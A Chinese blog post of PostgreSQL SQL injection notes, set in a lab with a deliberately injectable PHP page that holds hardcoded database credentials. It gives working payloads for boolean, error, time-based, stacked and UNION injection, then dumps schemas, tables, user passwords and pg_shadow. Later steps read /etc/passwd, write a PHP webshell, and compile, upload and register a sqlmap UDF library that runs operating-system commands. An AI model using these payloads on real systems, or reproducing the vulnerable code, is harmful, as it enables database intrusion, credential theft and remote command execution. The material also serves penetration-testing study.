美文网首页
Postgresql注入笔记

Postgresql注入笔记

作者: black3y | 来源:发表于2017-09-03 18:19 被阅读0次

    Postgresql注入笔记

    一、前期准备

    1. 测试环境

    192.168.89.146  数据库服务器
        Ubuntu-14.04
        Postgresql-9.6
    
    10.0.1.44       web服务器
        windows server2008
        phpstudy2016
        客户端软件:pgAdmin4
    

    2. 测试数据结构和内容

    模式名:public
    数据库名称:test
    数据表名称:tbuser
    数据内容和结构参考下图
    

    3. 调用postgresql数据的php代码

    <?php
    header("Content-type: text/html; charset=utf-8"); 
    //echo'please add "?uid="';
    $id = $_GET['uid'];
    
    $host        = "host=192.168.89.146";
    $port        = "port=5432";
    $dbname      = "dbname=test";
    $credentials = "user=postgres password=P@ssw0rd";
    
    
    $db = pg_connect( "$host $port $dbname $credentials"  );
    if(!$db){
        echo "Error : Unable to open database\n";
    }
    $sql = "select * from tbuser where id=$id";
    $result =  pg_query($db,$sql);
    
    if ($result){
        while(list($id,$username,$passwd)= pg_fetch_row($result)){
            echo "用户名:" . $username . "<br/>";
            echo "用户密码:" . $passwd . "<br/>";
        }
    }
    

    4. 浏览器访问数据

    整型参数查询url:http://10.0.1.44/postgreuix/test.php?uid=1
    字符串型参数查询url:http://10.0.1.44/postgreuix/str.php?name=admin


    二、验证注入点

    1. 基于布尔型注入(boolean-based blind)

    整型参数
        test.php?uid=1 AND 1=1     运行正常
        test.php?uid=1 AND 1=2     运行异常
    
    字符型参数
        str.php?name=admin' and '1'='1     运行正常
        str.php?name=admin' and '1'='1     运行异常    
    

    2. 基于报错注入(error-based)

    参考Sqlmap
        uid=1 AND 7778=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (7778=7778) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(112)||CHR(106)||CHR(113)) AS NUMERIC)
    
    语法解析:
        cast ('1' as numeric)    1转换为数字类型
        Numeric(10,2)          指字段是数字型,长度为10 小数为两位的 
        1::text                数据类型转换为text类型
        case...when...then...else...end  条件语句
        
    获取版本号:
        select * from tbuser  where id=1 AND 7778=CAST((SELECT version())::text AS NUMERIC)
        
    获取Schemas名称
        select * from tbuser  where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables limit 1)::text AS NUMERIC)
        select * from tbuser  where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables where schemaname not in ('public') limit 1)::text AS NUMERIC)
    

    3. 基于时间的盲注(time-based blind)

    参考Sqlmap
        ?uid=1 AND 6489=(SELECT 6489 FROM PG_SLEEP(5))
        延时5秒
    

    4. 基于堆叠查询(多语句查询,stacked queries)

    参考Sqlmap
        ?uid=1;select PG_SLEEP(5)--
        我觉得此处使用PG_SLEEP(5)是由于无需其他信息即可验证注入点存在,如使用select前需要先知道字段数量
    

    5. 基于联合查询(UNION query)

    ?uid=1 order by 1,2,3                           运行正常
    ?uid=1 order by 1,2,3,4                         运行异常,获取字段数3
    ?uid=1 UNION ALL SELECT NULL,('11111'),NULL--   查看是否输出11111
    

    三、获取数据库结构和内容

    此处均基于联合查询

    1. 获取模式名称(schemaname)名称

    参考Sqlmap
        ?uid=1 UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM pg_tables
    
    简化:
        ?uid=1 UNION SELECT NULL,COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))),NULL FROM pg_tables--
        
        语法解析:
        COALESCE(expression[,n])    coalesce函数返回参数(列名)中第一个非NULL值的字段值,注意不是为空''
        cast ('1' as numeric)         1转换为数字类型
    
    简化:
        ?uid=1 UNION SELECT NULL,schemaname,NULL FROM pg_tables--
    

    用户创建的数据库默认模式名称(schemaname)为public

    2. 获取数据表名称

    参考Sqlmap
        ?uid=1 UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(tablename AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM pg_tables WHERE schemaname IN ((CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)))
        
    简化:
        uid=1 UNION ALL SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname IN ('public')
    

    3. 获取表字段名称

    参考Sqlmap
        ?uid=1 UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(attname AS CHARACTER(10000)),(CHR(32)))||(CHR(106)||CHR(115)||CHR(97)||CHR(110)||CHR(101)||CHR(117))||COALESCE(CAST(typname AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname=(CHR(116)||CHR(98)||CHR(117)||CHR(115)||CHR(101)||CHR(114)) AND nspname=(CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99))--
    
    简化:
        ?uid=1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='tbuser' AND nspname='public'--
    

    4. 获取表内容

    参考Sqlmap
        UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(id AS CHARACTER(10000)),(CHR(32)))||(CHR(106)||CHR(115)||CHR(97)||CHR(110)||CHR(101)||CHR(117))||COALESCE(CAST(passwd AS CHARACTER(10000)),(CHR(32)))||(CHR(106)||CHR(115)||CHR(97)||CHR(110)||CHR(101)||CHR(117))||COALESCE(CAST(username AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM public.tbuser--
    
    简化:
        ?uid=1 UNION ALL SELECT NULL,COALESCE(CAST(id AS CHARACTER(10000)),(CHR(32)))||COALESCE(CAST(username AS CHARACTER(10000)),(CHR(32)))||COALESCE(CAST(passwd AS CHARACTER(10000)),(CHR(32))),NULL FROM public.tbuser--
    
    简化整理:
        ?uid=1 UNION ALL SELECT NULL,id||','||username||','||passwd,NULL FROM public.tbuser--
    

    三、文件或目录操作

    1. PostgreSQL中部分内置函数、表

    Item Value
    获取数据库类型及版本 ?uid=1 UNION SELECT NULL,version(),NULL
    目前执行环境中的用户名 ?uid=1 union ALL select NULL,current_user,NULL
    当前数据库名字 ?uid=1 union ALL select NULL,current_database() ,NULL
    此表包含数据库用户的信息 ?uid=1 UNION SELECT NULL,usename,passwd from pg_shadow
    postgresql安装目录 ?uid=1 union SELECT NULL,setting,NULL FROM pg_settings WHERE name='data_directory'

    参考:http://www.php100.com/manual/PostgreSQL8/functions-info.html

    2. 列目录——只能列安装目录下的文件

    ?uid=1 union select NULL,NULL,pg_ls_dir('./')
    
    只显示目录名
    ?uid=1 and 1=2 union select NULL,NULL,pg_ls_dir('./')            
    

    3. 读文件

    ?uid=1;CREATE TABLE passwd(t TEXT);COPY passwd FROM '/etc/passwd';SELECT NULL,t,NULL FROM passwd;
    
    简化:
    ?uid=1;
    CREATE TABLE passwd(t TEXT);
    COPY passwd FROM '/etc/passwd';
    SELECT NULL,t,NULL FROM passwd;
    

    4. 写文件

    ?uid=1;DROP TABLE hacktb;CREATE TABLE hacktb (t TEXT);INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");?>');COPY hacktb(t) TO '/tmp/hack.php';
    
    简化:
    ?uid=1;
    DROP TABLE hacktb;
    CREATE TABLE hacktb (t TEXT);
    INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");?>');
    COPY hacktb(t) TO '/tmp/hack.php';
    

    四、命令执行

    1. 下载编译sqlmap工程提供的udf源码

    获取源码
    >git clone https://github.com/sqlmapproject/udfhack/
    
    编译源码(数据库版本:9.6)
    > cd udfhack/linux/64/lib_postgresqludf_sys
    > apt-get install postgresql-server-dev-9.6
    > gcc -Wall -I/usr/include/postgresql/9.6/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o udf64.so
    > strip -sx udf64.so
    

    2. 利用python脚本对生成的so文件编码,并切割成每段小于2k的片段

    #~/usr/bin/env python 2.7
    #-*- coding:utf-8 -*-
    import sys
    
    if __name__ == "__main__":
        if len(sys.argv) != 2:
            print "Usage:python " + sys.argv[0] + "inputfile"
            sys.exit()
        fileobj = open(sys.argv[1],'rb')
        i = 0
        for b in fileobj.read():
            sys.stdout.write(r'{:02x}'.format(ord(b)))
            i = i + 1
            if i % 1023 == 0:
                print "\n"
        fileobj.close()
    

    python hex.py udf64.so

    3. 利用 PostgreSQL 的“大对象数据”将so文件写入目标服务器

    SELECT lo_create(12345);
    
    INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4602010100000...200', 'hex'));
    INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000000000000000...e36', 'hex'));
    INSERT INTO pg_largeobject VALUES (12345, 2, decode('005f6564617461005f5...9e0', 'hex'));
    ...
    INSERT INTO pg_largeobject VALUES (12345, 13, decode('6300746578745f7074...200', 'hex'));
    
    SELECT lo_export(12345, '/var/lib/postgresql/9.6/main/udf.so');
    
    SELECT lo_unlink(12345);
    
    CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS "/var/lib/postgresql/9.6/main/udf.so", "sys_eval" LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
    
    select sys_eval('id');
    

    参考:

    1. https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247484788&idx=1&sn=8a53b1c64d864cd01bab095d97a17715&chksm=ec1e355cdb69bc4a2535bc1a053bfde3ec1838d03936ba8e44156818e91bbec9b5b04a744005#rd
    2. https://www.secpulse.com/archives/33105.html
    3. http://www.91ri.org/6507.html

    相关文章

      网友评论

          本文标题:Postgresql注入笔记

          本文链接:https://www.haomeiwen.com/subject/wkyjjxtx.html